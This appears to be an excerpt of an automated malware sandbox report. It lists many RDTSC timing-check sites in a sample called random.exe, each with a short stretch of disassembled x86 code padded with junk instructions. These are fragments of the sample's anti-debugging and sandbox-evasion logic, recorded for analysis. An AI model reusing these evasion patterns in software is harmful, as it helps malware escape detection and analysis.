Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10CA55F second address: 10CA57D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jbe 00007FC1BC5023A6h 0x00000012 jmp 00007FC1BC5023ABh 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10D41DF second address: 10D41F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 jnl 00007FC1BCECC576h 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10D41F1 second address: 10D41F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10D435B second address: 10D4361 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10D4361 second address: 10D4366 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10D4366 second address: 10D436B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10D7CE2 second address: 10D7D17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 pushad 0x00000008 push eax 0x00000009 pop eax 0x0000000a push edi 0x0000000b pop edi 0x0000000c popad 0x0000000d jnc 00007FC1BC5023BDh 0x00000013 jmp 00007FC1BC5023B7h 0x00000018 popad 0x00000019 mov eax, dword ptr [esp+04h] 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10D7D17 second address: 10D7D2B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC1BCECC580h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10D7D2B second address: 10D7D53 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FC1BC5023A8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FC1BC5023B8h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10D7D53 second address: 10D7D68 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f jl 00007FC1BCECC576h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10D7E5A second address: 10D7E64 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FC1BC5023A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10D7E64 second address: 10D7E78 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jo 00007FC1BCECC576h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 pushad 0x00000011 push edi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10D7E78 second address: 10D7EB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jng 00007FC1BC5023ACh 0x0000000b jng 00007FC1BC5023A6h 0x00000011 popad 0x00000012 mov eax, dword ptr [eax] 0x00000014 jmp 00007FC1BC5023B9h 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d push eax 0x0000001e push edx 0x0000001f jne 00007FC1BC5023ACh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10D7EB7 second address: 10D7EC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007FC1BCECC576h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10DE93B second address: 10DE93F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10DE93F second address: 10DE966 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FC1BCECC57Ah 0x0000000d jmp 00007FC1BCECC585h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10DD655 second address: 10DD670 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC1BC5023B7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10DD670 second address: 10DD68B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC1BCECC583h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10DD68B second address: 10DD691 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10DDF26 second address: 10DDF2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10DDF2A second address: 10DDF37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10DDF37 second address: 10DDF3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10DE09D second address: 10DE0AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007FC1BC5023ACh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10DE38C second address: 10DE393 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10DE393 second address: 10DE3A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FC1BC5023ABh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10DE3A7 second address: 10DE3AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10DE3AB second address: 10DE3B5 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FC1BC5023A6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10DE7C6 second address: 10DE7FE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jno 00007FC1BCECC576h 0x00000009 jmp 00007FC1BCECC584h 0x0000000e pop edx 0x0000000f jmp 00007FC1BCECC582h 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push ebx 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10E1E26 second address: 10E1E2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10E1E2A second address: 10E1E51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a jmp 00007FC1BCECC57Bh 0x0000000f push edi 0x00000010 pop edi 0x00000011 pop ebx 0x00000012 push edx 0x00000013 push edi 0x00000014 pop edi 0x00000015 jmp 00007FC1BCECC57Bh 0x0000001a pop edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10B146E second address: 10B1474 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10B1851 second address: 10B1878 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007FC1BCECC576h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e add dword ptr [esp], 43E56B55h 0x00000015 mov di, dx 0x00000018 call 00007FC1BCECC579h 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 push ebx 0x00000022 pop ebx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10B1878 second address: 10B1882 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FC1BC5023A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10B1882 second address: 10B18C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jno 00007FC1BCECC588h 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 jmp 00007FC1BCECC583h 0x0000001a mov eax, dword ptr [eax] 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 push edi 0x00000021 pop edi 0x00000022 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10B18C4 second address: 10B18CE instructions: 0x00000000 rdtsc 0x00000002 jp 00007FC1BC5023A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10B1B26 second address: 10B1B52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007FC1BCECC582h 0x0000000d push ebx 0x0000000e pushad 0x0000000f popad 0x00000010 pop ebx 0x00000011 popad 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 jnp 00007FC1BCECC580h 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10B1C58 second address: 10B1C5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10B1C5C second address: 10B1C6F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC1BCECC57Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10B1C6F second address: 10B1C74 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10B1C74 second address: 10B1C82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10B1C82 second address: 10B1C8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10B1E6F second address: 10B1E7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10B1E7B second address: 10B1E80 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10B21F4 second address: 10B2204 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jc 00007FC1BCECC576h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10B2204 second address: 10B2208 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10B22D9 second address: 10B22E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FC1BCECC576h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10B22E3 second address: 10B22F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10B22F1 second address: 10B22FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10B24CB second address: 10B24D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10B24D1 second address: 10B24D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10B24D7 second address: 10B24DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10B25A2 second address: 10B2610 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC1BCECC583h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ecx 0x0000000d call 00007FC1BCECC578h 0x00000012 pop ecx 0x00000013 mov dword ptr [esp+04h], ecx 0x00000017 add dword ptr [esp+04h], 0000001Dh 0x0000001f inc ecx 0x00000020 push ecx 0x00000021 ret 0x00000022 pop ecx 0x00000023 ret 0x00000024 mov di, 15C9h 0x00000028 lea eax, dword ptr [ebp+12481036h] 0x0000002e mov edi, dword ptr [ebp+122D3722h] 0x00000034 add edx, dword ptr [ebp+122D3A8Eh] 0x0000003a nop 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007FC1BCECC586h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10B2610 second address: 10B2616 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10B2616 second address: 10B266D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC1BCECC582h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FC1BCECC584h 0x0000000f nop 0x00000010 call 00007FC1BCECC57Dh 0x00000015 mov dword ptr [ebp+122D1BFEh], edx 0x0000001b pop edx 0x0000001c lea eax, dword ptr [ebp+12480FF2h] 0x00000022 nop 0x00000023 push edx 0x00000024 jnp 00007FC1BCECC578h 0x0000002a pushad 0x0000002b popad 0x0000002c pop edx 0x0000002d push eax 0x0000002e pushad 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10B266D second address: 10B2671 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10B2671 second address: 1098904 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FC1BCECC576h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FC1BCECC585h 0x00000010 je 00007FC1BCECC576h 0x00000016 popad 0x00000017 popad 0x00000018 nop 0x00000019 clc 0x0000001a call dword ptr [ebp+1245228Ch] 0x00000020 push esi 0x00000021 pushad 0x00000022 push esi 0x00000023 pop esi 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10E2265 second address: 10E2272 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10E247A second address: 10E247E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10E247E second address: 10E2486 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10E26EC second address: 10E2702 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007FC1BCECC576h 0x00000010 jnl 00007FC1BCECC576h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10E2702 second address: 10E2706 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10E2706 second address: 10E2718 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FC1BCECC576h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push edi 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10E2851 second address: 10E2887 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC1BC5023B9h 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c jnc 00007FC1BC5023A6h 0x00000012 pop edx 0x00000013 pop edi 0x00000014 push eax 0x00000015 push edx 0x00000016 js 00007FC1BC5023ACh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10E2A09 second address: 10E2A0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10E2A0D second address: 10E2A17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10E2A17 second address: 10E2A1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10E2B72 second address: 10E2B7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10E2B7E second address: 10E2B85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10E2B85 second address: 10E2B9A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC1BC5023B0h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10E2B9A second address: 10E2BA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10E88A4 second address: 10E88B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edi 0x00000007 jo 00007FC1BC5023BEh 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10757F0 second address: 10757F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10757F9 second address: 10757FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10757FD second address: 1075813 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007FC1BCECC57Dh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10E74FE second address: 10E7520 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FC1BC5023A6h 0x0000000a pop ecx 0x0000000b jmp 00007FC1BC5023B3h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10E7520 second address: 10E752E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC1BCECC57Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10E752E second address: 10E7534 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10E7686 second address: 10E76BA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jmp 00007FC1BCECC588h 0x0000000a pop ebx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007FC1BCECC57Fh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10E76BA second address: 10E76D3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FC1BC5023ABh 0x0000000d jc 00007FC1BC5023A6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10E76D3 second address: 10E76DD instructions: 0x00000000 rdtsc 0x00000002 jne 00007FC1BCECC576h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10E7C14 second address: 10E7C27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FC1BC5023A6h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c jne 00007FC1BC5023A6h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10E7C27 second address: 10E7C33 instructions: 0x00000000 rdtsc 0x00000002 je 00007FC1BCECC57Eh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10E7C33 second address: 10E7C56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FC1BC5023B9h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10E7C56 second address: 10E7C5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10E7C5A second address: 10E7C64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10E7C64 second address: 10E7C68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10E7C68 second address: 10E7C70 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10E7C70 second address: 10E7C84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC1BCECC580h 0x00000009 rdtsc
